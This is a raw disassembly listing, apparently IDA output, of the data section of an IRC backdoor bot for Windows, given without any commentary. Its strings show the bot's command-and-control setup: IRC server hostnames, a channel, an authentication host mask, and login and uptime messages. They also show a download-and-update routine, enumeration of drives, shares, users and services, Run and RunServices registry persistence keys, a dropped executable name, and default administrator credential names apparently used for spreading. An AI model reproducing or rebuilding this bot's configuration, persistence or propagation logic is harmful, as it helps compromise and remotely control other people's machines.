1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_42E464 dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h ; DATA XREF: sub_40CAF1+358o dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h dd 2E73h aOpen db 'open',0 ; DATA XREF: sub_40CAF1+336o ; sub_40EE72+2B48o ... align 4 unk_42E498 db 2 ; DATA XREF: sub_40CAF1+2E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 10h unk_42E4E0 db 2 ; DATA XREF: sub_40CAF1+262o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_42E518 db 2 ; DATA XREF: sub_40CAF1+1D8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 unk_42E55C db 2 ; DATA XREF: sub_40CAF1+195o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_42E59C db 2 ; DATA XREF: sub_40CAF1+183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 4 unk_42E5E4 db 2 ; DATA XREF: sub_40CAF1+77o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40D099:loc_40D0DCo ; sub_40DF4E+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_40D099:loc_40D0D6o aDisk db 'Disk',0 ; DATA XREF: sub_40D099:loc_40D0D0o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40D099:loc_40D0CAo aCdrom db 'Cdrom',0 ; DATA XREF: sub_40D099:loc_40D0C4o align 4 off_42E644 dd offset word_4D4152 ; DATA XREF: sub_40D099:loc_40D0BEo aFailed db 'failed',0 ; DATA XREF: sub_40D12A:loc_40D208o ; sub_40D24E+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_40D12A+6Co align 4 unk_42E658 db 2 ; DATA XREF: sub_40D24E+8Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 unk_42E6A4 db 2 ; DATA XREF: sub_40D24E+58o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 aA_0 db 'A:\',0 ; DATA XREF: sub_40D320:loc_40D365o dword_42E6F4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42E740 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D4C5+E3o ; --------------------------------------------------------------------------- loc_42E75C: ; DATA XREF: sub_40D4C5+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_42E770 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40D4C5+13Fo dword_42E784 dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_40D679+5Do aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D679+16o ; sub_40EE72+623o aNotice db 'NOTICE',0 ; DATA XREF: sub_40D679+Fo ; sub_40EE72+62Fo align 10h off_42E7A0 dd offset aAdd ; DATA XREF: sub_40D719+60r ; sub_40DAF0+51r ... ; "Add" off_42E7A4 dd offset aAdded ; DATA XREF: sub_40D719+2Dr ; sub_40DAF0+83r ... ; "Added" dword_42E7A8 dd 0 ; DATA XREF: sub_40D719+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 42E814h, 42E80Ch, 2, 42E800h, 42E7F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0042E7D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:0042E7D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:0042E7C8o aStart_0 db 'Start',0 ; DATA XREF: ___:0042E7C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:0042E7BCo align 4 aList_0 db 'List',0 ; DATA XREF: ___:0042E7B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:0042E7B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:0042E7ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_42E7A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_42E7A0o dword_42E868 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+67o dd 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_42E89C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+51o dd 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_42E8D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+33o dd 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40D835:loc_40D93Fo db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40D835:loc_40D938o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40D835:loc_40D931o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40D835:loc_40D92Ao align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40D835:loc_40D91Co align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40D835:loc_40D915o db 'marked for deletion.',0 align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40D835:loc_40D90Eo align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40D835:loc_40D8E3o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40D835:loc_40D8DCo db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40D835:loc_40D8D5o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40D835:loc_40D8CEo align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40D835:loc_40D8A3o db 'dependent on it.',0 align 10h aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40D835:loc_40D899o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40D835:loc_40D88Fo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40D835:loc_40D87Bo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D9B3+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_40D9B3:loc_40DA7Fo aStarting db ' Starting',0 ; DATA XREF: sub_40D9B3:loc_40DA78o aStoping db ' Stoping',0 ; DATA XREF: sub_40D9B3:loc_40DA71o aRunning db ' Running',0 ; DATA XREF: sub_40D9B3:loc_40DA6Ao aContinuing db ' Continuing',0 ; DATA XREF: sub_40D9B3:loc_40DA63o aPausing db ' Pausing',0 ; DATA XREF: sub_40D9B3:loc_40DA5Co aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D9B3:loc_40DA55o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D9B3+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40D9B3+25o align 4 dword_42EE38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+ACo dd 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_42EE6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+8Ao dd 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_42EE98 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+58o dd 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_40DCE6+BCo align 10h aYes db 'Yes',0 ; DATA XREF: sub_40DCE6+B5o dword_42EEF4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DCE6+76o dd 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40DCE6+26o align 4 dword_42EF64 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+B7o dd 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_42EF9C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+95o dd 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_42EFD8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+6Do dd 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 dword_42F008 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DF4E+3AFo dd 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DF4E+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DF4E+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DF4E+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DF4E+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_40DF4E:loc_40E06Do align 4 aUser_0 db 'User',0 ; DATA XREF: sub_40DF4E:loc_40E066o align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DF4E:loc_40E05Fo ; ___:0042F774o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DF4E+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DF4E+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DF4E+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo align 4 dword_42F1D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+F7o dd 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_40E337+BEo align 4 dword_42F218 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+7Ao dd 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40E4B7:loc_40E59Bo db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40E4B7+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40E4B7:loc_40E562o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40E4B7:loc_40E554o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E4B7:loc_40E51Ao align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40E4B7:loc_40E506o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo align 10h dword_42F530 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+ABo dd 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_42F568 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+81o dd 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 10h dword_42F5A0 dd 1B58h ; DATA XREF: ___:0040EA4Cr ; ___:0040EAFFr dword_42F5A4 dd 0C8Bh ; DATA XREF: ___:0040EB4Br dword_42F5A8 dd 30EAh ; DATA XREF: sub_40EE72:loc_414C0Ar dword_42F5AC dd 18F4h ; DATA XREF: sub_407252+3Br ; sub_40EE72+52E6r dword_42F5B0 dd 1BB0h ; DATA XREF: sub_407252:loc_407501r ; sub_40EE72:loc_41424Dr dword_42F5B4 dd 0A84h ; DATA XREF: sub_40EE72:loc_4143C3r dword_42F5B8 dd 1 ; DATA XREF: sub_40EE72+665r dword_42F5BC dd 1 ; DATA XREF: ___:0040E7E6r dword_42F5C0 dd 1 ; DATA XREF: sub_40AC42+Cr ; ___:loc_40E9D8r byte_42F5C4 db 2Eh ; DATA XREF: sub_40CFE3:loc_40CFEFr ; sub_40EE72+B05r ... align 4 dword_42F5C8 dd 6 ; DATA XREF: sub_415996+2Br ; sub_415996+51r ... dword_42F5CC dd 4 ; DATA XREF: sub_40EB92+78r ; sub_40EE72+279r ... a8652 db '8652',0 align 4 aCool_0 db 'cool',0 align 10h aMan db 'man',0 align 8 aAsn139 db 'asn139',0 align 10h db 2 dup(0) byte_42F5F2 db 1 ; DATA XREF: sub_40EE72:loc_413D44r ; sub_40EE72+4EDCo aAsn445 db 'asn445',0 align 4 dd 100h, 3 dup(0) aBotid db 'botid',0 ; DATA XREF: ___:0040E703o ; sub_40EE72+3E40o ... align 4 aAbosal7Tool db 'ABOSAL7 tool',0 ; DATA XREF: sub_40EE72:loc_414E22o align 4 aCool db 'cool',0 ; DATA XREF: sub_40EE72+6129o ; sub_40EE72+61F8o align 4 aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:0040EA37o ; ___:0040EAF0o aFaak db '#faak#',0 ; DATA XREF: ___:0040EA58o ; ___:0040EB06o align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:0040EA6Fo ; ___:0040EB18o align 10h byte_42F650 db 73h ; DATA XREF: ___:loc_40EB2Er ; ___:0040EB3Co aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#faak#',0 ; DATA XREF: ___:0040EB52o align 4 aSaad__0 db 'saad.',0 ; DATA XREF: ___:0040EB64o align 4 byte_42F674 db 66h ; DATA XREF: sub_402B84+Fo ; sub_4030E8+81o ... db 69h, 72h, 73h dd 69777374h, 78652E6Eh, 65h dword_42F684 dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do aSystam13 db 'Systam13',0 ; DATA XREF: sub_40C1AE+Eo align 4 aBot db '[bot]-',0 ; DATA XREF: sub_415996+12o align 4 aFirstswin_exe db 'firstswin.exe',0 align 4 aXi db '+xi',0 ; DATA XREF: sub_40EE72+6274o aF db '#f',0 ; DATA XREF: sub_40EE72:loc_4120EFo ; sub_40EE72+50A2o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_40EE72+1F2Fo align 10h aF_1 db '#f',0 ; DATA XREF: sub_40EE72+1D75o align 4 off_42F6C4 dd offset a@admin_com ; DATA XREF: sub_40EE72:loc_414FEEo ; "*@admin.com" off_42F6C8 dd offset aH4ckerTool ; DATA XREF: sub_40EE72+8CFr ; sub_40EE72+6198o ; "h4cker tool" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o ; sub_4162AC+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o ; sub_4162AC+D4o align 4 dd offset aAdministrator ; "Administrator" dd offset aDb2 ; "db2" align 10h dd offset byte_436EDC dd offset byte_436EDC dd offset aAdministrato_0 ; "ADMINISTRATOR" dd offset byte_436EDC dd 0 dword_42F794 dd 10h ; DATA XREF: sub_40BE75+72w ; sub_40EE72+B6Er ... aAdministrato_0 db 'ADMINISTRATOR',0 ; DATA XREF: ___:0042F788o align 4 aDb2 db 'db2',0 ; DATA XREF: ___:0042F778o aH4ckerTool db 'h4cker tool',0 ; DATA XREF: ___:off_42F6C8o a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42F6C4o dword_42F7C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: ___:0040E9FBo dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h dword_42F7EC dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o dword_42F7F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EB92+F2o dd 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40ECFA+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40ECFA+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o align 4 dword_42F86C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6257o dd 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 4 dword_42F89C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+623Ao dd 2BBBB02h aAbosal7Accepte db ' ABOSAL7 accepted.',0 dword_42F8C8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+61D9o dd 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 4 dword_42F904 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6172o dd 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 10h aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6160o ; sub_40EE72+61C7o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6149o ; sub_40EE72+61B0o align 4 asc_42F98C: ; DATA XREF: sub_40EE72+6119o unicode 0, <~>,0 dword_42F990 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+60C9o dd 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_42F9C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6015o dd 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 10h dword_42FA00 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+600Ao dd 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 dword_42FA3C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5FB5o dd 2BBBB02h, 73252020h, 0 unk_42FA5C db 2 ; DATA XREF: sub_40EE72+5F8Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0 align 4 dword_42FAA8 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_40EE72+5F15o dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EE72+5F0Fo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_40EE72+5F08o align 4 aSec db 'sec',0 ; DATA XREF: sub_40EE72+5EADo aSecure db 'secure',0 ; DATA XREF: sub_40EE72+5E9Co align 4 unk_42FAF4 db 2 ; DATA XREF: sub_40EE72+5E91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 dword_42FB3C dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo dword_42FB4C dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao dword_42FB58 dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o dword_42FB64 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EE72+5D52o dword_42FB74 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D1Fo dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o align 4 dword_42FBB4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5CFDo dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h dd 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o align 4 dword_42FC04 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C76o dd 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 10h dword_42FC40 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C62o dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh dword_42FC68 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5C3Do dd 2029671Fh, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_42FCB0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5BD2o dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h dd 2E7364h 